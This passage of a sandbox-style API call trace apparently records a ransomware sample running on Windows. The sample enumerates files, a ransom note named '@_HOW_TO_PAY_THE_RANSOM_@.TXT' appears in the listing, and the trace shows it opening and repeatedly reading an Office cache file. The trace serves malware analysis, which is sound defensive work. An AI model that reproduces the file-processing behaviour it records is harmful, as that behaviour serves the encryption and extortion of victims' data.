HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x55ae90 | out: hHeap=0x510000) returned 1 [0068.977] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x20) returned 0x5438b8 [0068.977] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x5438b8 | out: hHeap=0x510000) returned 1 [0068.977] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x55ae28 | out: hHeap=0x510000) returned 1 [0068.977] FindNextFileA (in: hFindFile=0x549750, lpFindFileData=0x4abd70 | out: lpFindFileData=0x4abd70*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa677ca60, ftCreationTime.dwHighDateTime=0x1d5c259, ftLastAccessTime.dwLowDateTime=0xa677ca60, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xa677ca60, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x5b2, dwReserved0=0x0, dwReserved1=0x3d000439, cFileName="@_HOW_TO_PAY_THE_RANSOM_@.TXT", cAlternateFileName="@_HOW_~1.TXT")) returned 1 [0068.977] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x60) returned 0x55ae28 [0068.977] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x60) returned 0x55ae90 [0068.977] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x55ae90 | out: hHeap=0x510000) returned 1 [0068.977] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x20) returned 0x5438b8 [0068.977] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x5438b8 | out: hHeap=0x510000) returned 1 [0068.977] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x55ae28 | out: hHeap=0x510000) returned 1 [0068.977] FindNextFileA (in: hFindFile=0x549750, lpFindFileData=0x4abd70 | out: lpFindFileData=0x4abd70*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3e02ab00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3e02ab00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xe874f770, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x263400, dwReserved0=0x0, dwReserved1=0x3d000439, cFileName="PowerPointMUI.msi", cAlternateFileName="POWERP~1.MSI")) returned 1 [0068.977] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x60) returned 0x55ae28 [0068.977] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x60) returned 0x55ae90 [0068.977] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x55ae90 | out: hHeap=0x510000) returned 1 [0068.977] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x55ae28 | out: hHeap=0x510000) returned 1 [0068.977] FindNextFileA (in: hFindFile=0x549750, lpFindFileData=0x4abd70 | out: lpFindFileData=0x4abd70*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4529b900, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x4529b900, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xe8728670, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x5aa, dwReserved0=0x0, dwReserved1=0x3d000439, cFileName="PowerPointMUI.xml", cAlternateFileName="POWERP~1.XML")) returned 1 [0068.977] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x60) returned 0x55ae28 [0068.977] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x60) returned 0x55ae90 [0068.977] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x55ae90 | out: hHeap=0x510000) returned 1 [0068.977] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x20) returned 0x5438b8 [0068.977] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x5438b8 | out: hHeap=0x510000) returned 1 [0068.977] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x55ae28 | out: hHeap=0x510000) returned 1 [0068.977] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x20) returned 0x5438b8 [0068.977] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x8) returned 0x533d90 [0068.977] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x8) returned 0x533de0 [0068.978] AreFileApisANSI () returned 1 [0068.978] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x4ac2e0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 82 [0068.978] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa4) returned 0x536b88 [0068.978] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x4ac2e0, cbMultiByte=-1, lpWideCharStr=0x536b88, cchWideChar=82 | out: lpWideCharStr="C:\\\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml") returned 82 [0068.978] CreateFileW (lpFileName="C:\\\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\powerpointmui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x4aba3c, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x190 [0068.978] GetFileType (hFile=0x190) returned 0x1 [0068.978] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x536b88 | out: hHeap=0x510000) returned 1 [0068.978] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4abb08 | out: lpNewFilePointer=0x0) returned 1 [0068.978] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4ababc | out: lpNewFilePointer=0x0) returned 1 [0068.978] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4aba8c | out: lpNewFilePointer=0x0) returned 1 [0068.979] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0068.979] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4aba8c | out: lpNewFilePointer=0x0) returned 1 [0068.979] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0068.979] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x1000) returned 0x55ee28 [0068.979] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x5aa, lpOverlapped=0x0) returned 1 [0068.980] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0068.981] GetLastError () returned 0x0 [0068.981] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x8, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0068.981] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x5a2, lpOverlapped=0x0) returned 1 [0068.981] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x8, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0068.981] GetLastError () returned 0x0 [0068.981] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x10, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0068.981] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x59a, lpOverlapped=0x0) returned 1 [0068.981] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x10, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0068.981] GetLastError () returned 0x0 [0068.981] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x18, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0068.982] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x592, lpOverlapped=0x0) returned 1 [0068.982] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x18, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0068.982] GetLastError () returned 0x0 [0068.982] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x20, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0068.982] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x58a, lpOverlapped=0x0) returned 1 [0068.982] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x20, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0068.982] GetLastError () returned 0x0 [0068.982] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x28, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0068.982] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x582, lpOverlapped=0x0) returned 1 [0068.983] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x28, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0068.983] GetLastError () returned 0x0 [0068.983] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x30, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0068.983] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x57a, lpOverlapped=0x0) returned 1 [0068.983] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x30, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0068.983] GetLastError () returned 0x0 [0068.983] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x38, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0068.983] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x572, lpOverlapped=0x0) returned 1 [0068.983] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x38, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0068.983] GetLastError () returned 0x0 [0068.983] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x40, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0068.984] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x56a, lpOverlapped=0x0) returned 1 [0068.984] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x40, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0068.984] GetLastError () returned 0x0 [0068.984] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x48, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0068.984] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x562, lpOverlapped=0x0) returned 1 [0068.984] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x48, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0068.984] GetLastError () returned 0x0 [0068.984] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x50, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0068.984] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x55a, lpOverlapped=0x0) returned 1 [0068.985] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x50, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0068.985] GetLastError () returned 0x0 [0068.985] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x58, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0068.985] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x552, lpOverlapped=0x0) returned 1 [0068.985] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x58, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0068.985] GetLastError () returned 0x0 [0068.985] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x60, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0068.985] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x54a, lpOverlapped=0x0) returned 1 [0068.985] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x60, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0068.985] GetLastError () returned 0x0 [0068.985] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x68, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0068.986] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x542, lpOverlapped=0x0) returned 1 [0068.986] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x68, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0068.986] GetLastError () returned 0x0 [0068.986] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x70, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0068.986] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x53a, lpOverlapped=0x0) returned 1 [0068.986] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x70, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0068.986] GetLastError () returned 0x0 [0068.986] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x78, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0068.986] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x532, lpOverlapped=0x0) returned 1 [0068.987] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x78, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0068.987] GetLastError () returned 0x0 [0068.987] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x80, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0068.987] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x52a, lpOverlapped=0x0) returned 1 [0068.987] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x80, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0068.987] GetLastError () returned 0x0 [0068.987] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x88, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0068.987] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x522, lpOverlapped=0x0) returned 1 [0068.987] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x88, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0068.987] GetLastError () returned 0x0 [0068.987] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x90, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0068.988] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x51a, lpOverlapped=0x0) returned 1 [0068.988] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x90, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0068.988] GetLastError () returned 0x0 [0068.988] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x98, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0068.988] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x512, lpOverlapped=0x0) returned 1 [0068.988] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x98, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0068.988] GetLastError () returned 0x0 [0068.988] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0xa0, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0068.988] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x50a, lpOverlapped=0x0) returned 1 [0068.989] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0xa0, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0068.989] GetLastError () returned 0x0 [0068.989] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0xa8, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0068.989] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x502, lpOverlapped=0x0) returned 1 [0068.989] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0xa8, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0068.989] GetLastError () returned 0x0 [0068.989] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0xb0, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0068.989] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x4fa, lpOverlapped=0x0) returned 1 [0068.990] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0xb0, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0068.990] GetLastError () returned 0x0 [0068.990] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0xb8, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0068.990] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x4f2, lpOverlapped=0x0) returned 1 [0068.990] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0xb8, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0068.990] GetLastError () returned 0x0 [0068.990] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0xc0, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0068.990] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x4ea, lpOverlapped=0x0) returned 1 [0068.990] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0xc0, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0068.991] GetLastError () returned 0x0 [0068.991] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0xc8, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0068.991] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x4e2, lpOverlapped=0x0) returned 1 [0068.991] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0xc8, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0068.991] GetLastError () returned 0x0 [0068.991] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0xd0, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0068.991] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x4da, lpOverlapped=0x0) returned 1 [0068.991] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0xd0, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0068.991] GetLastError () returned 0x0 [0068.991] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0xd8, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0068.991] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x4d2, lpOverlapped=0x0) returned 1 [0068.992] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0xd8, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0068.992] GetLastError () returned 0x0 [0068.992] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0xe0, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0068.992] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x4ca, lpOverlapped=0x0) returned 1 [0068.992] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0xe0, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0068.992] GetLastError () returned 0x0 [0068.992] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0xe8, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0068.992] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x4c2, lpOverlapped=0x0) returned 1 [0068.992] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0xe8, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0068.992] GetLastError () returned 0x0 [0068.993] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0xf0, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0068.993] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x4ba, lpOverlapped=0x0) returned 1 [0068.993] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0xf0, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0068.993] GetLastError () returned 0x0 [0068.993] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0xf8, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0068.993] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x4b2, lpOverlapped=0x0) returned 1 [0068.993] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0xf8, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0068.993] GetLastError () returned 0x0 [0068.993] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x100, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0068.993] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x4aa, lpOverlapped=0x0) returned 1 [0068.994] 